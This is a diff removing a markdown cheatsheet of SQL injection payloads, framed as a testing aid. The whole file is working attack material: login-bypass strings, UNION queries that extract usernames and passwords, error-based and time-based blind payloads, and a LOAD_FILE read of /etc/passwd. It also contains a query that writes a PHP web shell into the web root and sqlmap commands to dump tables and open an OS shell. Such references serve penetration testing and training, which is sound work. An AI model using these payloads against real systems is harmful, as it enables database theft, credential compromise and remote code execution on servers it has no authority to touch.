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----
-name: cheatsheet-sqli
-description: SQL injection payloads for testing, authentication bypass, and data extraction
----
-
-# SQL Injection Cheatsheet
-
-## Authentication Bypass
-```
-' OR '1'='1
-' OR '1'='1'--
-' OR '1'='1'/*
-admin'--
-admin' #
-admin'/*
-' OR 1=1--
-' OR 1=1#
-') OR ('1'='1
-') OR ('1'='1'--
-' UNION SELECT 1,2,3--
-```
-
-## Detection Payloads
-```
-'
-''
-`
-``
-,
-"
-""
-/
-//
-\
-\\
-;
-' or "
--- or #
-' OR '1
-' OR 1 -- -
-" OR "" = "
-" OR 1 = 1 -- -
-' OR '' = '
-OR 1=1
-```
-
-## UNION-Based Extraction
-```sql
--- Find number of columns
-' ORDER BY 1--
-' ORDER BY 2--
-' ORDER BY 3--  (increase until error)
-
--- Extract data
-' UNION SELECT 1,2,3--
-' UNION SELECT null,null,null--
-' UNION SELECT username,password,3 FROM users--
-' UNION SELECT table_name,null,null FROM information_schema.tables--
-' UNION SELECT column_name,null,null FROM information_schema.columns WHERE table_name='users'--
-```
-
-## Error-Based (MySQL)
-```sql
-' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
-' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
-```
-
-## Time-Based Blind
-```sql
-' AND SLEEP(5)--           (MySQL)
-' AND pg_sleep(5)--        (PostgreSQL)
-'; WAITFOR DELAY '0:0:5'-- (MSSQL)
-```
-
-## File Read/Write (MySQL)
-```sql
-' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
-' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
-```
-
-## Automated Testing
-Use `sqlmap` for automated detection and exploitation:
-```bash
-sqlmap -u "http://target/page?id=1" --dbs
-sqlmap -u "http://target/page?id=1" -D dbname --tables
-sqlmap -u "http://target/page?id=1" -D dbname -T users --dump
-sqlmap -u "http://target/page?id=1" --os-shell
-```